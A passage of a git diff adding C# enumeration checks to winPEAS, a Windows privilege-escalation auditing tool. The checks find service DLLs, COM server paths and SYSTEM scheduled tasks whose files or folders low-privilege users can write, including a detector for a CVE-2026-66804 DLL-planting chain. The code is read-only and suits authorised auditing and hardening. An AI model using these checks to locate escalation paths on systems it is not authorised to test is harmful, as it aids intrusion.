(initialResult || (uint)Marshal.GetLastWin32Error() != ErrorInsufficientBuffer || + bytesNeeded < Marshal.SizeOf(typeof(ServiceFailureActions)) || + bytesNeeded > MaxServiceConfigBuffer) + { + return false; + } + + uint bufferSize = bytesNeeded; + buffer = Marshal.AllocHGlobal((int)bufferSize); + if (!Advapi32.QueryServiceConfig2( + service, + ServiceConfigFailureActions, + buffer, + bufferSize, + out bytesNeeded) || bytesNeeded > bufferSize) + { + return false; + } + + var failureActions = (ServiceFailureActions)Marshal.PtrToStructure( + buffer, + typeof(ServiceFailureActions)); + if (failureActions.ActionCount == 0 || failureActions.ActionCount > 64 || + failureActions.Actions == IntPtr.Zero) + { + return false; + } + + int actionSize = Marshal.SizeOf(typeof(ServiceFailureAction)); + long bufferStart = buffer.ToInt64(); + long bufferEnd = bufferStart + bufferSize; + long actionsStart = failureActions.Actions.ToInt64(); + long actionsLength = (long)failureActions.ActionCount * actionSize; + if (actionsStart < bufferStart || actionsStart > bufferEnd - actionsLength) + { + return false; + } + + for (uint index = 0; index < failureActions.ActionCount; index++) + { + IntPtr actionPointer = new IntPtr(actionsStart + (long)index * actionSize); + var action = (ServiceFailureAction)Marshal.PtrToStructure( + actionPointer, + typeof(ServiceFailureAction)); + if (action.Type == ScActionRunCommand) + { + return true; + } + } + } + catch + { + // Inaccessible or malformed service configuration is not a finding. + } + finally + { + if (buffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(buffer); + } + if (service != IntPtr.Zero) + { + Advapi32.CloseServiceHandle(service); + } + } + + return false; + } + + internal static bool IsSystemSvchostImage(string rawImagePath, string windowsDirectory) + { + if (string.IsNullOrWhiteSpace(rawImagePath) || string.IsNullOrWhiteSpace(windowsDirectory)) + { + return false; + } + + string imagePath = rawImagePath.Trim(); + string executable; + if (imagePath.StartsWith("\"", StringComparison.Ordinal)) + { + int closingQuote = imagePath.IndexOf('"', 1); + if (closingQuote < 0) + { + return false; + } + executable = imagePath.Substring(1, closingQuote - 1); + } + else + { + int extension = imagePath.IndexOf(".exe", StringComparison.OrdinalIgnoreCase); + if (extension < 0) + { + return false; + } + executable = imagePath.Substring(0, extension + 4).Trim(); + } + + executable = StripWin32DevicePrefix(executable); + executable = ExpandWindowsPath(executable, windowsDirectory); + executable = StripWin32DevicePrefix(executable).Replace('/', '\\'); + string windowsRoot = windowsDirectory.TrimEnd('\\', '/'); + return executable.Equals(windowsRoot + @"\System32\svchost.exe", StringComparison.OrdinalIgnoreCase) || + executable.Equals(windowsRoot + @"\SysWOW64\svchost.exe", StringComparison.OrdinalIgnoreCase); + } + + internal static string NormalizeServiceDllPath(string rawPath, string windowsDirectory) + { + if (string.IsNullOrWhiteSpace(rawPath)) + { + return string.Empty; + } + + string path = rawPath.Trim(); + if (path.Length >= 2 && path[0] == '"' && path[path.Length - 1] == '"') + { + path = path.Substring(1, path.Length - 2).Trim(); + } + + path = StripWin32DevicePrefix(path); + path = ExpandWindowsPath(path, windowsDirectory); + path = StripWin32DevicePrefix(path); + return path.Trim().Replace('/', '\\'); + } + + internal static string GetFileSystemAccessPath( + string path, + string windowsDirectory, + bool is64BitOperatingSystem, + bool is64BitProcess) + { + if (string.IsNullOrWhiteSpace(path) || string.IsNullOrWhiteSpace(windowsDirectory) || + !is64BitOperatingSystem || is64BitProcess) + { + return path; + } + + string windowsRoot = windowsDirectory.TrimEnd('\\', '/'); + string system32Prefix = windowsRoot + @"\System32\"; + if (!path.StartsWith(system32Prefix, StringComparison.OrdinalIgnoreCase)) + { + return path; + } + + return windowsRoot + @"\Sysnative\" + path.Substring(system32Prefix.Length); + } + + internal static string GetReplacementReason( + RawSecurityDescriptor fileSecurity, + RawSecurityDescriptor directorySecurity, + bool fileExists, + ISet tokenSids) + { + return GetTargetReplacementReason( + fileSecurity, + directorySecurity, + fileExists, + tokenSids, + "service DLL"); + } + + private static bool TryGetReplacementDetails( + string accessPath, + ISet tokenSids, + string targetDescription, + out bool targetExists, + out string accessReason) + { + targetExists = false; + accessReason = string.Empty; + + targetExists = File.Exists(accessPath); + string directoryPath = Path.GetDirectoryName(accessPath); + if (string.IsNullOrWhiteSpace(directoryPath) || !Directory.Exists(directoryPath)) + { + return false; + } + + RawSecurityDescriptor targetSecurity = targetExists + ? GetSecurityDescriptor(accessPath, false) + : null; + RawSecurityDescriptor directorySecurity = GetSecurityDescriptor(directoryPath, true); + accessReason = GetTargetReplacementReason( + targetSecurity, + directorySecurity, + targetExists, + tokenSids, + targetDescription); + return !string.IsNullOrEmpty(accessReason); + } + + private static string GetTargetReplacementReason( + RawSecurityDescriptor fileSecurity, + RawSecurityDescriptor directorySecurity, + bool fileExists, + ISet tokenSids, + string targetDescription) + { + if (directorySecurity == null || tokenSids == null || tokenSids.Count == 0) + { + return string.Empty; + } + + bool canControlDirectory = HasEffectiveAccess(directorySecurity, tokenSids, WriteDac) || + HasEffectiveAccess(directorySecurity, tokenSids, WriteOwner); + if (!fileExists) + { + if (HasEffectiveAccess(directorySecurity, tokenSids, FileAddFile)) + { + return "FILE_ADD_FILE on the parent directory can plant the missing " + targetDescription; + } + if (canControlDirectory) + { + return "WRITE_DAC or WRITE_OWNER on the parent directory can grant target creation rights"; + } + return string.Empty; + } + + if (fileSecurity != null && HasEffectiveAccess(fileSecurity, tokenSids, FileWriteData)) + { + return "FILE_WRITE_DATA is granted on the configured " + targetDescription; + } + if (fileSecurity != null && + (HasEffectiveAccess(fileSecurity, tokenSids, WriteDac) || + HasEffectiveAccess(fileSecurity, tokenSids, WriteOwner))) + { + return "WRITE_DAC or WRITE_OWNER on the " + targetDescription + " can grant overwrite rights"; + } + if (canControlDirectory) + { + return "WRITE_DAC or WRITE_OWNER on the parent directory can grant replacement rights"; + } + + bool canCreate = HasEffectiveAccess(directorySecurity, tokenSids, FileAddFile); + if (canCreate && HasEffectiveAccess(directorySecurity, tokenSids, FileDeleteChild)) + { + return "FILE_ADD_FILE and FILE_DELETE_CHILD on the parent directory permit target replacement"; + } + if (canCreate && fileSecurity != null && HasEffectiveAccess(fileSecurity, tokenSids, Delete)) + { + return "DELETE on the target plus FILE_ADD_FILE on its parent permit replacement"; + } + + return string.Empty; + } + + internal static bool HasEffectiveAccess( + RawSecurityDescriptor security, + ISet tokenSids, + int desiredAccess) + { + if (security == null || tokenSids == null || tokenSids.Count == 0 || desiredAccess == 0) + { + return false; + } + + RawAcl dacl = security.DiscretionaryAcl; + if (dacl == null) + { + return true; + } + + int remaining = desiredAccess; + foreach (GenericAce genericAce in dacl) + { + CommonAce ace = genericAce as CommonAce; + if (ace == null || ace.IsCallback || + (ace.AceFlags & AceFlags.InheritOnly) == AceFlags.InheritOnly || + !tokenSids.Contains(ace.SecurityIdentifier.Value)) + { + continue; + } + + int accessMask = MapGenericFileRights(ace.AccessMask); + if (ace.AceQualifier == AceQualifier.AccessDenied && (accessMask & remaining) != 0) + { + return false; + } + if (ace.AceQualifier == AceQualifier.AccessAllowed) + { + remaining &= ~accessMask; + if (remaining == 0) + { + return true; + } + } + } + + return false; + } + + private static int MapGenericFileRights(int accessMask) + { + int mapped = accessMask; + if ((mapped & GenericAll) != 0) + { + mapped |= FileAllAccess; + } + if ((mapped & GenericRead) != 0) + { + mapped |= FileGenericRead; + } + if ((mapped & GenericWrite) != 0) + { + mapped |= FileGenericWrite; + } + if ((mapped & GenericExecute) != 0) + { + mapped |= FileGenericExecute; + } + return mapped & ~(GenericAll | GenericRead | GenericWrite | GenericExecute); + } + + private static bool TryGetServiceDll(RegistryKey serviceKey, out string rawServiceDll) + { + rawServiceDll = string.Empty; + RegistryKey parametersKey = null; + try + { + parametersKey = serviceKey.OpenSubKey("Parameters"); + RegistryKey sourceKey = parametersKey ?? serviceKey; + + object manifest = sourceKey.GetValue( + "ServiceManifest", + null, + RegistryValueOptions.DoNotExpandEnvironmentNames); + if (manifest != null && !string.IsNullOrWhiteSpace(manifest.ToString())) + { + // A valid ServiceManifest can redirect the DLL independently of ServiceDll. + return false; + } + + RegistryValueKind kind = sourceKey.GetValueKind("ServiceDll"); + if (kind != RegistryValueKind.ExpandString) + { + return false; + } + + object value = sourceKey.GetValue( + "ServiceDll", + null, + RegistryValueOptions.DoNotExpandEnvironmentNames); + rawServiceDll = value == null ? string.Empty : value.ToString(); + return !string.IsNullOrWhiteSpace(rawServiceDll); + } + catch + { + return false; + } + finally + { + parametersKey?.Dispose(); + } + } + + private static int? GetRegistryInt(RegistryKey key, string valueName) + { + try + { + object value = key.GetValue(valueName, null, RegistryValueOptions.DoNotExpandEnvironmentNames); + return value == null ? (int?)null : Convert.ToInt32(value); + } + catch + { + return null; + } + } + + private static string GetRegistryString(RegistryKey key, string valueName) + { + try + { + object value = key.GetValue(valueName, null, RegistryValueOptions.DoNotExpandEnvironmentNames); + return value == null ? string.Empty : value.ToString(); + } + catch + { + return string.Empty; + } + } + + private static string GetDisplayAccount(string account) + { + return string.IsNullOrWhiteSpace(account) ? "LocalSystem (default)" : account; + } + + private static string GetWindowsDirectory() + { + string windowsDirectory = Environment.GetEnvironmentVariable("SystemRoot"); + return string.IsNullOrWhiteSpace(windowsDirectory) + ? Environment.GetEnvironmentVariable("windir") + : windowsDirectory; + } + + private static string ExpandWindowsPath(string path, string windowsDirectory) + { + if (string.IsNullOrWhiteSpace(path)) + { + return string.Empty; + } + + string expanded = path.Trim(); + if (!string.IsNullOrWhiteSpace(windowsDirectory)) + { + expanded = ReplaceWindowsDirectoryPrefix(expanded, @"\SystemRoot", windowsDirectory); + expanded = ReplaceWindowsDirectoryPrefix(expanded, "%SystemRoot%", windowsDirectory); + expanded = ReplaceWindowsDirectoryPrefix(expanded, "%windir%", windowsDirectory); + } + + try + { + expanded = Environment.ExpandEnvironmentVariables(expanded); + } + catch + { + return string.Empty; + } + return expanded; + } + + private static string ReplaceWindowsDirectoryPrefix(string path, string prefix, string windowsDirectory) + { + if (!path.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) || + (path.Length > prefix.Length && path[prefix.Length] != '\\' && path[prefix.Length] != '/')) + { + return path; + } + return windowsDirectory.TrimEnd('\\', '/') + path.Substring(prefix.Length); + } + + private static string StripWin32DevicePrefix(string path) + { + if (path.StartsWith(@"\??\", StringComparison.Ordinal)) + { + return path.Substring(4); + } + if (path.StartsWith(@"\\?\", StringComparison.Ordinal)) + { + return path.Substring(4); + } + return path; + } + + private static bool IsLocalDrivePath(string path) + { + // Avoid UNC or device paths so this passive check cannot intentionally contact a remote host. + if (path.Length < 3 || !char.IsLetter(path[0]) || path[1] != ':' || + (path[2] != '\\' && path[2] != '/')) + { + return false; + } + + try + { + DriveType driveType = new DriveInfo(path.Substring(0, 3)).DriveType; + return driveType == DriveType.Fixed || driveType == DriveType.Removable || driveType == DriveType.Ram; + } + catch + { + return false; + } + } + + private static RawSecurityDescriptor GetSecurityDescriptor(string path, bool isDirectory) + { + try + { + byte[] descriptor = isDirectory + ? Directory.GetAccessControl(path, AccessControlSections.Access).GetSecurityDescriptorBinaryForm() + : File.GetAccessControl(path, AccessControlSections.Access).GetSecurityDescriptorBinaryForm(); + return new RawSecurityDescriptor(descriptor, 0); + } + catch + { + return null; + } + } + + ////////////////////////////////////// //////// PATH DLL Hijacking ///////// ////////////////////////////////////// diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/ClfsAuthentication.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/ClfsAuthentication.cs new file mode 100644 index 00000000..f993d013 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/ClfsAuthentication.cs @@ -0,0 +1,142 @@ +using Microsoft.Win32; +using System; +using System.Security; + +namespace winPEAS.Info.SystemInfo +{ + internal enum ClfsAuthenticationStatus + { + NotAvailable, + Enforced, + Learning, + LearningWithoutAutoEnforcement, + DisabledByAdministrator, + DisabledBySystem, + AccessDenied, + Unknown + } + + internal sealed class ClfsAuthenticationReport + { + internal ClfsAuthenticationStatus Status { get; set; } + internal ulong? Mode { get; set; } + internal ulong? EnforcementTransitionPeriod { get; set; } + } + + internal static class ClfsAuthentication + { + internal const string RegistryPath = @"SYSTEM\CurrentControlSet\Services\CLFS\Authentication"; + + internal static ClfsAuthenticationReport GetReport() + { + try + { + // HKLM\SYSTEM is shared between WOW64 registry views, so the process default + // view reaches the same CLFS configuration on 32-bit and 64-bit executions. + using (var baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)) + using (var key = baseKey.OpenSubKey(RegistryPath, false)) + { + if (key == null) + { + return new ClfsAuthenticationReport + { + Status = ClfsAuthenticationStatus.NotAvailable + }; + } + + object mode = key.GetValue("Mode", null, RegistryValueOptions.DoNotExpandEnvironmentNames); + object transitionPeriod = key.GetValue( + "EnforcementTransitionPeriod", + null, + RegistryValueOptions.DoNotExpandEnvironmentNames); + + return Evaluate(mode, transitionPeriod); + } + } + catch (UnauthorizedAccessException) + { + return new ClfsAuthenticationReport + { + Status = ClfsAuthenticationStatus.AccessDenied + }; + } + catch (SecurityException) + { + return new ClfsAuthenticationReport + { + Status = ClfsAuthenticationStatus.AccessDenied + }; + } + } + + internal static ClfsAuthenticationReport Evaluate(object modeValue, object transitionPeriodValue) + { + ulong mode; + ulong transitionPeriod; + bool hasMode = TryConvertToUInt64(modeValue, out mode); + bool hasTransitionPeriod = TryConvertToUInt64(transitionPeriodValue, out transitionPeriod); + + var report = new ClfsAuthenticationReport + { + Status = ClfsAuthenticationStatus.Unknown, + Mode = hasMode ? (ulong?)mode : null, + EnforcementTransitionPeriod = hasTransitionPeriod ? (ulong?)transitionPeriod : null + }; + + if (!hasMode) + { + return report; + } + + switch (mode) + { + case 0: + report.Status = ClfsAuthenticationStatus.Enforced; + break; + case 1: + report.Status = hasTransitionPeriod && transitionPeriod == 0 + ? ClfsAuthenticationStatus.LearningWithoutAutoEnforcement + : ClfsAuthenticationStatus.Learning; + break; + case 2: + report.Status = ClfsAuthenticationStatus.DisabledByAdministrator; + break; + case 3: + report.Status = ClfsAuthenticationStatus.DisabledBySystem; + break; + } + + return report; + } + + private static bool TryConvertToUInt64(object value, out ulong result) + { + result = 0; + if (value is int intValue && intValue >= 0) + { + result = (ulong)intValue; + return true; + } + + if (value is long longValue && longValue >= 0) + { + result = (ulong)longValue; + return true; + } + + if (value is uint uintValue) + { + result = uintValue; + return true; + } + + if (value is ulong ulongValue) + { + result = ulongValue; + return true; + } + + return false; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/CrossDeviceComCve66804.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/CrossDeviceComCve66804.cs new file mode 100644 index 00000000..7385a32c --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/CrossDeviceComCve66804.cs @@ -0,0 +1,508 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.IO; +using System.Security.AccessControl; +using System.Security.Principal; +using winPEAS.Helpers; +using winPEAS.Info.ApplicationInfo; +using winPEAS.TaskScheduler; +using ScheduledTask = winPEAS.TaskScheduler.Task; + +namespace winPEAS.Info.SystemInfo +{ + internal static class CrossDeviceComCve66804 + { + internal const string CrossDeviceClsid = "{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}"; + internal const string ShellCreateObjectClsid = "{135FD325-45B7-4C30-89F8-4386961669F0}"; + internal const string CreateObjectTaskPath = @"\Microsoft\Windows\Shell\CreateObjectTask"; + + private const uint FileWriteData = 0x00000002; + private const uint FileAppendData = 0x00000004; + private const uint ExecuteFile = 0x00000020; + private const uint WriteDac = 0x00040000; + private const uint WriteOwner = 0x00080000; + private const uint GenericAll = 0x10000000; + private const uint GenericExecute = 0x20000000; + + // Microsoft Security Response Center, August 2026 security update. + private static readonly Dictionary FixedBuilds = new Dictionary + { + { 19045, new FixedBuild(7663, "5120249") }, + { 26100, new FixedBuild(9168, "5121003") }, + { 26200, new FixedBuild(9168, "5121003") }, + { 28000, new FixedBuild(2704, "5121000") }, + }; + + internal static CrossDeviceComReport GetReport(Dictionary basicInfo) + { + var report = new CrossDeviceComReport + { + ProductName = GetValue(basicInfo, "ProductName"), + Architecture = GetValue(basicInfo, "Architecture"), + InstalledHotfixes = GetValue(basicInfo, "Hotfixes") + }; + + CollectPatchState(report, basicInfo); + + HashSet unprivilegedSids = PermissionsHelper.GetUnprivilegedTokenSids(); + CollectCrossDeviceRegistrations(report, unprivilegedSids); + CollectShellCreateObjectRegistration(report); + CollectCreateObjectTask(report, unprivilegedSids); + return report; + } + + private static void CollectPatchState(CrossDeviceComReport report, Dictionary basicInfo) + { + int build; + int revision; + if (!int.TryParse(GetValue(basicInfo, "CurrentBuild"), out build) || + !int.TryParse(GetValue(basicInfo, "UpdateBuildRevision"), out revision)) + { + report.PatchStatus = CrossDevicePatchStatus.Unknown; + report.PatchEvidence = "Unable to parse CurrentBuild/UBR."; + return; + } + + report.Build = build; + report.Revision = revision; + report.BuildVersion = build + "." + revision; + + FixedBuild fixedBuild; + if (!FixedBuilds.TryGetValue(build, out fixedBuild)) + { + report.PatchStatus = CrossDevicePatchStatus.NotAffected; + report.PatchEvidence = "Microsoft does not list this Windows build line for CVE-2026-66804."; + return; + } + + report.BuildApplicable = true; + report.FixedRevision = fixedBuild.Revision; + report.FixedVersion = build + "." + fixedBuild.Revision; + report.ApplicableKb = fixedBuild.Kb; + + if (ContainsHotfix(report.InstalledHotfixes, fixedBuild.Kb)) + { + report.PatchStatus = CrossDevicePatchStatus.Patched; + report.DirectFixInstalled = true; + report.PatchEvidence = "The applicable August 2026 security update is present in the hotfix inventory."; + } + else if (revision >= fixedBuild.Revision) + { + report.PatchStatus = CrossDevicePatchStatus.Patched; + report.PatchEvidence = "The OS build is at or above Microsoft's cumulative-update fixed build."; + } + else + { + report.PatchStatus = CrossDevicePatchStatus.Susceptible; + report.PatchEvidence = "The OS build is below Microsoft's fixed build and the applicable fix KB was not found."; + } + } + + private static void CollectCrossDeviceRegistrations( + CrossDeviceComReport report, + ISet unprivilegedSids) + { + foreach (RegistryView view in GetRegistryViews()) + { + var registration = new CrossDeviceComRegistration + { + RegistryView = view == RegistryView.Registry64 ? "64-bit" : "32-bit" + }; + report.CrossDeviceRegistrations.Add(registration); + + try + { + using (RegistryKey baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, view)) + using (RegistryKey key = baseKey.OpenSubKey( + @"SOFTWARE\Classes\CLSID\" + CrossDeviceClsid + @"\InprocServer32")) + { + if (key == null) + { + continue; + } + + registration.Present = true; + object value = key.GetValue(null, null, RegistryValueOptions.DoNotExpandEnvironmentNames); + registration.RawServerPath = value == null ? "" : value.ToString(); + registration.ResolvedServerPath = ResolveServerPath(registration.RawServerPath); + registration.MatchesExpectedPath = IsExpectedCrossDevicePath(registration.ResolvedServerPath); + registration.ServerExists = File.Exists(registration.ResolvedServerPath); + CollectPathControl(registration, unprivilegedSids); + } + } + catch (Exception ex) + { + report.CollectionErrors.Add(registration.RegistryView + " CrossDevice registration: " + ex.Message); + } + } + } + + private static void CollectPathControl( + CrossDeviceComRegistration registration, + ISet unprivilegedSids) + { + if (string.IsNullOrWhiteSpace(registration.ResolvedServerPath)) + { + return; + } + + try + { + if (registration.ServerExists) + { + registration.PathControlReason = PrivilegedScheduledTasks.GetWritableTargetReason( + registration.ResolvedServerPath, + unprivilegedSids); + registration.NearestExistingParent = Path.GetDirectoryName(registration.ResolvedServerPath); + registration.ParentAclSddl = File.GetAccessControl( + registration.ResolvedServerPath, + AccessControlSections.Access) + .GetSecurityDescriptorSddlForm(AccessControlSections.Access); + return; + } + + string targetParent = Path.GetDirectoryName(registration.ResolvedServerPath); + string existingParent = targetParent; + while (!string.IsNullOrEmpty(existingParent) && !Directory.Exists(existingParent)) + { + DirectoryInfo parent = Directory.GetParent(existingParent); + existingParent = parent == null ? null : parent.FullName; + } + + registration.NearestExistingParent = existingParent ?? ""; + if (string.IsNullOrEmpty(existingParent)) + { + return; + } + + DirectorySecurity security = Directory.GetAccessControl( + existingParent, + AccessControlSections.Access); + registration.ParentAclSddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.Access); + var descriptor = new RawSecurityDescriptor(security.GetSecurityDescriptorBinaryForm(), 0); + + uint createRight = string.Equals(existingParent, targetParent, StringComparison.OrdinalIgnoreCase) + ? FileWriteData + : FileAppendData; + string trustee = PrivilegedScheduledTasks.FindWriteTrustee( + descriptor, + unprivilegedSids, + createRight | WriteDac | WriteOwner); + if (!string.IsNullOrEmpty(trustee)) + { + registration.PathControlReason = string.Equals(existingParent, targetParent, StringComparison.OrdinalIgnoreCase) + ? "missing DLL can be created by " + trustee + : "missing directory chain and DLL can be created below " + existingParent + " by " + trustee; + } + } + catch (Exception ex) + { + registration.CollectionError = ex.Message; + } + } + + private static void CollectShellCreateObjectRegistration(CrossDeviceComReport report) + { + foreach (RegistryView view in GetRegistryViews()) + { + try + { + using (RegistryKey baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, view)) + using (RegistryKey classKey = baseKey.OpenSubKey( + @"SOFTWARE\Classes\CLSID\" + ShellCreateObjectClsid)) + { + if (classKey == null) + { + continue; + } + + report.ShellClassPresent = true; + report.ShellClassRegistryView = view == RegistryView.Registry64 ? "64-bit" : "32-bit"; + report.ShellClassName = Convert.ToString(classKey.GetValue(null, "")); + report.ShellAppId = Convert.ToString(classKey.GetValue("AppID", "")); + if (string.IsNullOrWhiteSpace(report.ShellAppId)) + { + report.ShellAppId = ShellCreateObjectClsid; + } + + using (RegistryKey appIdKey = baseKey.OpenSubKey( + @"SOFTWARE\Classes\AppID\" + report.ShellAppId)) + { + if (appIdKey != null) + { + report.ShellRunAs = Convert.ToString(appIdKey.GetValue("RunAs", "")); + report.ShellRunsAsSystem = IsLocalSystem(report.ShellRunAs); + } + } + return; + } + } + catch (Exception ex) + { + report.CollectionErrors.Add( + (view == RegistryView.Registry64 ? "64-bit" : "32-bit") + + " Shell Create Object registration: " + ex.Message); + } + } + } + + private static void CollectCreateObjectTask( + CrossDeviceComReport report, + ISet unprivilegedSids) + { + try + { + using (ScheduledTask task = TaskService.Instance.GetTask(CreateObjectTaskPath)) + { + if (task == null) + { + return; + } + + report.TaskPresent = true; + report.TaskEnabled = task.Enabled; + report.TaskState = task.State.ToString(); + + using (TaskDefinition definition = task.Definition) + using (TaskPrincipal principal = definition.Principal) + { + report.TaskPrincipal = string.IsNullOrWhiteSpace(principal.UserId) + ? principal.Account + : principal.UserId; + report.TaskRunsAsSystem = PrivilegedScheduledTasks.IsLocalSystemPrincipal(report.TaskPrincipal); + } + + string sddl = task.GetSecurityDescriptorSddlForm( + SecurityInfos.Owner | SecurityInfos.DiscretionaryAcl); + if (!string.IsNullOrWhiteSpace(sddl)) + { + report.TaskExecuteAclKnown = true; + report.TaskAclSddl = sddl; + report.TaskExecuteTrustee = FindTaskExecuteTrustee( + new RawSecurityDescriptor(sddl), + unprivilegedSids); + report.TaskRunnableByLowPrivilege = !string.IsNullOrEmpty(report.TaskExecuteTrustee); + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("CreateObjectTask: " + ex.Message); + } + } + + internal static string FindTaskExecuteTrustee( + RawSecurityDescriptor descriptor, + ISet enabledSids) + { + if (descriptor == null || enabledSids == null || enabledSids.Count == 0) + { + return null; + } + + if ((descriptor.ControlFlags & ControlFlags.DiscretionaryAclPresent) == 0 || + descriptor.DiscretionaryAcl == null) + { + return enabledSids.Contains("S-1-1-0") ? "S-1-1-0" : null; + } + + string allowingTrustee = null; + foreach (GenericAce ace in descriptor.DiscretionaryAcl) + { + if ((ace.AceFlags & AceFlags.InheritOnly) != 0) + { + continue; + } + + var qualifiedAce = ace as QualifiedAce; + var knownAce = ace as KnownAce; + if (qualifiedAce == null || knownAce == null || qualifiedAce.SecurityIdentifier == null || + !enabledSids.Contains(qualifiedAce.SecurityIdentifier.Value) || + !GrantsTaskExecute(unchecked((uint)knownAce.AccessMask))) + { + continue; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessDenied) + { + return null; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessAllowed && allowingTrustee == null) + { + allowingTrustee = qualifiedAce.SecurityIdentifier.Value; + } + } + + return allowingTrustee; + } + + private static bool GrantsTaskExecute(uint mask) + { + return (mask & (GenericAll | GenericExecute | ExecuteFile)) != 0; + } + + private static string ResolveServerPath(string rawPath) + { + if (string.IsNullOrWhiteSpace(rawPath)) + { + return ""; + } + + string expanded = Environment.ExpandEnvironmentVariables(rawPath).Trim().Trim('"'); + try + { + return Path.GetFullPath(expanded); + } + catch + { + return expanded; + } + } + + private static bool IsExpectedCrossDevicePath(string path) + { + if (string.IsNullOrWhiteSpace(path)) + { + return false; + } + + try + { + string programData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData); + if (string.IsNullOrWhiteSpace(programData)) + { + programData = Environment.GetEnvironmentVariable("ProgramData"); + } + if (string.IsNullOrWhiteSpace(programData)) + { + return false; + } + + string expected = Path.GetFullPath(Path.Combine( + programData, + "CrossDevice", + "CrossDevice.Streaming.Source.dll")); + return string.Equals(Path.GetFullPath(path), expected, StringComparison.OrdinalIgnoreCase); + } + catch + { + return false; + } + } + + private static bool ContainsHotfix(string hotfixes, string kb) + { + return !string.IsNullOrEmpty(hotfixes) && !string.IsNullOrEmpty(kb) && + hotfixes.IndexOf("KB" + kb, StringComparison.OrdinalIgnoreCase) >= 0; + } + + private static bool IsLocalSystem(string value) + { + if (string.IsNullOrWhiteSpace(value)) + { + return false; + } + + string normalized = value.Trim().Replace('/', '\\'); + return normalized.Equals("SYSTEM", StringComparison.OrdinalIgnoreCase) || + normalized.Equals("LocalSystem", StringComparison.OrdinalIgnoreCase) || + normalized.Equals(@"NT AUTHORITY\SYSTEM", StringComparison.OrdinalIgnoreCase) || + normalized.Equals("S-1-5-18", StringComparison.OrdinalIgnoreCase); + } + + private static IEnumerable GetRegistryViews() + { + yield return RegistryView.Registry64; + yield return RegistryView.Registry32; + } + + private static string GetValue(Dictionary values, string key) + { + string value; + return values != null && values.TryGetValue(key, out value) ? value ?? "" : ""; + } + + private sealed class FixedBuild + { + internal FixedBuild(int revision, string kb) + { + Revision = revision; + Kb = kb; + } + + internal int Revision { get; private set; } + internal string Kb { get; private set; } + } + } + + internal enum CrossDevicePatchStatus + { + Unknown, + NotAffected, + Susceptible, + Patched, + } + + internal sealed class CrossDeviceComRegistration + { + public string RegistryView { get; set; } = ""; + public bool Present { get; set; } + public string RawServerPath { get; set; } = ""; + public string ResolvedServerPath { get; set; } = ""; + public bool MatchesExpectedPath { get; set; } + public bool ServerExists { get; set; } + public string PathControlReason { get; set; } = ""; + public string NearestExistingParent { get; set; } = ""; + public string ParentAclSddl { get; set; } = ""; + public string CollectionError { get; set; } = ""; + + public bool IsControllableRegistration => + Present && MatchesExpectedPath && !string.IsNullOrEmpty(PathControlReason); + } + + internal sealed class CrossDeviceComReport + { + public string ProductName { get; set; } = ""; + public string Architecture { get; set; } = ""; + public string InstalledHotfixes { get; set; } = ""; + public int Build { get; set; } + public int Revision { get; set; } + public string BuildVersion { get; set; } = ""; + public bool BuildApplicable { get; set; } + public int FixedRevision { get; set; } + public string FixedVersion { get; set; } = ""; + public string ApplicableKb { get; set; } = ""; + public bool DirectFixInstalled { get; set; } + public CrossDevicePatchStatus PatchStatus { get; set; } + public string PatchEvidence { get; set; } = ""; + public List CrossDeviceRegistrations { get; } = + new List(); + public bool ShellClassPresent { get; set; } + public string ShellClassRegistryView { get; set; } = ""; + public string ShellClassName { get; set; } = ""; + public string ShellAppId { get; set; } = ""; + public string ShellRunAs { get; set; } = ""; + public bool ShellRunsAsSystem { get; set; } + public bool TaskPresent { get; set; } + public bool TaskEnabled { get; set; } + public string TaskState { get; set; } = ""; + public string TaskPrincipal { get; set; } = ""; + public bool TaskRunsAsSystem { get; set; } + public bool TaskExecuteAclKnown { get; set; } + public bool TaskRunnableByLowPrivilege { get; set; } + public string TaskExecuteTrustee { get; set; } = ""; + public string TaskAclSddl { get; set; } = ""; + public List CollectionErrors { get; } = new List(); + + public bool HasControllableRegistration => + CrossDeviceRegistrations.Exists(registration => registration.IsControllableRegistration); + + public bool CompleteStaticChain => + PatchStatus == CrossDevicePatchStatus.Susceptible && + HasControllableRegistration && + ShellClassPresent && ShellRunsAsSystem && + TaskPresent && TaskEnabled && TaskRunsAsSystem && TaskRunnableByLowPrivilege; + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/DmaProtection.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/DmaProtection.cs new file mode 100644 index 00000000..fb334b24 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/DmaProtection.cs @@ -0,0 +1,425 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using winPEAS.Helpers; +using winPEAS.Helpers.Registry; + +namespace winPEAS.Info.SystemInfo +{ + internal static class DmaProtection + { + private const int SystemDmaGuardPolicyInformation = 202; + + private enum ProtectionState + { + Unknown, + Disabled, + Enabled + } + + private sealed class DeviceGuardState + { + internal ProtectionState DmaProtectionAvailable { get; set; } = 